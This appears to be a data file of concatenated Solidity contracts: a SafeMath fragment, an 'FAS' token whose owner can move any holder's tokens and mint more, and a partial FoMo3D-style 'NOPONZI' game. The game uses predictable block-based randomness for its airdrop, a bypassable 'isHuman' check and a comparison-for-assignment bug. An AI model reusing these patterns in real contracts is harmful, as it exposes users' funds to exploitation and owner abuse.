function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 0 | 1,512 |
pragma solidity ^0.4.20;
library safeMath
{
function mul(uint256 a, uint256 b) internal pure returns (uint256)
{
if(a==0) return 0;
uint256 c = a * b;
require(c / a == b);
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a + b;
require(c >= a);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract Event
{
event Transfer(address indexed from, address indexed to, uint256 value);
event Deposit(address indexed sender, uint256 amount);
event TokenBurn(address indexed from, uint256 value);
event TokenAdd(address indexed from, uint256 value);
event Set_TokenReward(uint256 changedTokenReward);
event Set_DepositPeriod(uint256 startingTime, uint256 closingTime);
event WithdrawETH(uint256 amount);
event BlockedAddress(address blockedAddress);
event TempLockedAddress(address tempLockAddress, uint256 unlockTime);
}
contract Variable
{
string public name;
string public symbol;
uint256 public decimals;
uint256 public totalSupply;
address public owner;
uint256 internal _decimals;
uint256 internal tokenReward;
uint256 internal startingTime;
uint256 internal closingTime;
bool internal transferLock;
bool internal depositLock;
mapping (address => bool) public allowedAddress;
mapping (address => bool) public blockedAddress;
mapping (address => uint256) public tempLockedAddress;
address withdraw_wallet;
mapping (address => uint256) public balanceOf;
constructor() public
{
name = "FAS";
symbol = "FAS";
decimals = 18;
_decimals = 10 ** uint256(decimals);
tokenReward = 0;
totalSupply = _decimals * 3600000000;
startingTime = 0;
closingTime = 0;
transferLock = true;
depositLock = true;
owner = 0x562C15Bb5Bd14Ed949b0dab50CcC45f75A9484CD;
balanceOf[owner] = totalSupply;
allowedAddress[owner] = true;
withdraw_wallet = 0x562C15Bb5Bd14Ed949b0dab50CcC45f75A9484CD;
}
}
contract Modifiers is Variable
{
modifier isOwner
{
assert(owner == msg.sender);
_;
}
modifier isValidAddress
{
assert(0x0 != msg.sender);
_;
}
}
contract Set is Variable, Modifiers, Event
{
function setTokenReward(uint256 _tokenReward) public isOwner returns(bool success)
{
tokenReward = _tokenReward;
emit Set_TokenReward(tokenReward);
return true;
}
function setDepositPeriod(uint256 _startingTime,uint256 _closingTime) public isOwner returns(bool success)
{
startingTime = _startingTime;
closingTime = _closingTime;
emit Set_DepositPeriod(startingTime, closingTime);
return true;
}
function setTransferLock(bool _transferLock) public isOwner returns(bool success)
{
transferLock = _transferLock;
return true;
}
function setDepositLock(bool _depositLock) public isOwner returns(bool success)
{
depositLock = _depositLock;
return true;
}
}
contract manageAddress is Variable, Modifiers, Event
{
function add_allowedAddress(address _address) public isOwner
{
allowedAddress[_address] = true;
}
function add_blockedAddress(address _address) public isOwner
{
require(_address != owner);
blockedAddress[_address] = true;
emit BlockedAddress(_address);
}
function delete_allowedAddress(address _address) public isOwner
{
require(_address != owner);
allowedAddress[_address] = false;
}
function delete_blockedAddress(address _address) public isOwner
{
blockedAddress[_address] = false;
}
}
contract Get is Variable, Modifiers
{
function get_tokenTime() public view returns(uint256 start, uint256 stop)
{
return (startingTime,closingTime);
}
function get_transferLock() public view returns(bool)
{
return transferLock;
}
function get_depositLock() public view returns(bool)
{
return depositLock;
}
function get_tokenReward() public view returns(uint256)
{
return tokenReward;
}
}
contract Admin is Variable, Modifiers, Event
{
using safeMath for uint256;
function admin_transfer_tempLockAddress(address _to, uint256 _value, uint256 _unlockTime) public isOwner returns(bool success)
{
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
tempLockedAddress[_to] = _unlockTime;
emit Transfer(msg.sender, _to, _value);
emit TempLockedAddress(_to, _unlockTime);
return true;
}
function admin_transferFrom(address _from, address _to, uint256 _value) public isOwner returns(bool success)
{
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
emit Transfer(_from, _to, _value);
return true;
}
function admin_tokenBurn(uint256 _value) public isOwner returns(bool success)
{
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
totalSupply = totalSupply.sub(_value);
emit TokenBurn(msg.sender, _value);
return true;
}
function admin_tokenAdd(uint256 _value) public isOwner returns(bool success)
{
balanceOf[msg.sender] = balanceOf[msg.sender].add(_value);
totalSupply = totalSupply.add(_value);
emit TokenAdd(msg.sender, _value);
return true;
}
function admin_renewLockedAddress(address _address, uint256 _unlockTime) public isOwner returns(bool success)
{
tempLockedAddress[_address] = _unlockTime;
emit TempLockedAddress(_address, _unlockTime);
return true;
}
}
contract FAS is Variable, Event, Get, Set, Admin, manageAddress
{
using safeMath for uint256;
function() payable public
{
require(startingTime < block.timestamp && closingTime > block.timestamp);
require(!depositLock);
uint256 tokenValue;
tokenValue = (msg.value).mul(tokenReward);
emit Deposit(msg.sender, msg.value);
balanceOf[owner] = balanceOf[owner].sub(tokenValue);
balanceOf[msg.sender] = balanceOf[msg.sender].add(tokenValue);
emit Transfer(owner, msg.sender, tokenValue);
}
function transfer(address _to, uint256 _value) public isValidAddress
{
require(allowedAddress[msg.sender] || transferLock == false);
require(tempLockedAddress[msg.sender] < block.timestamp);
require(!blockedAddress[msg.sender] && !blockedAddress[_to]);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
}
function withdraw(uint256 amount) public isOwner returns(bool)
{
withdraw_wallet.transfer(amount);
emit WithdrawETH(amount);
return true;
}
} | 0 | 1,572 |
pragma solidity ^0.4.24;
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularShort is F3Devents {}
contract F3DPLUS is modularShort {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcShort for uint256;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xAC6106d6eb4494ABDA2A9f6629a9d85149Dd6f8b);
address private admin = 0x449a12CCb1dEfabCEd939b8EB791A4Ae037F5c28;
string constant public name = "NOPONZI";
string constant public symbol = "NOPONZI";
uint256 private rndExtra_ = 0;
uint256 private rndGap_ = 2 minutes;
uint256 constant private rndInit_ = 1 hours;
uint256 constant private rndInc_ = 30 seconds;
uint256 constant private rndMax_ = 24 hours;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = F3Ddatasets.TeamFee(22,6);
fees_[1] = F3Ddatasets.TeamFee(38,0);
fees_[2] = F3Ddatasets.TeamFee(52,10);
fees_[3] = F3Ddatasets.TeamFee(68,8);
potSplit_[0] = F3Ddatasets.PotSplit(15,10);
potSplit_[1] = F3Ddatasets.PotSplit(25,0);
potSplit_[2] = F3Ddatasets.PotSplit(20,20);
potSplit_[3] = F3Ddatasets.PotSplit(30,10);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
{
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
_com = _com.add(_p3d.sub(_p3d / 2));
admin.transfer(_com);
_res = _res.add(_p3d / 2);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _p1 = _eth / 100;
uint256 _com = _eth / 50;
_com = _com.add(_p1);
uint256 _p3d;
if (!address(admin).call.value(_com)())
{
_p3d = _com;
_com = 0;
}
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_p3d = _p3d.add(_aff);
}
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
uint256 _potAmount = _p3d / 2;
admin.transfer(_p3d.sub(_potAmount));
round_[_rID].pot = round_[_rID].pot.add(_potAmount);
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
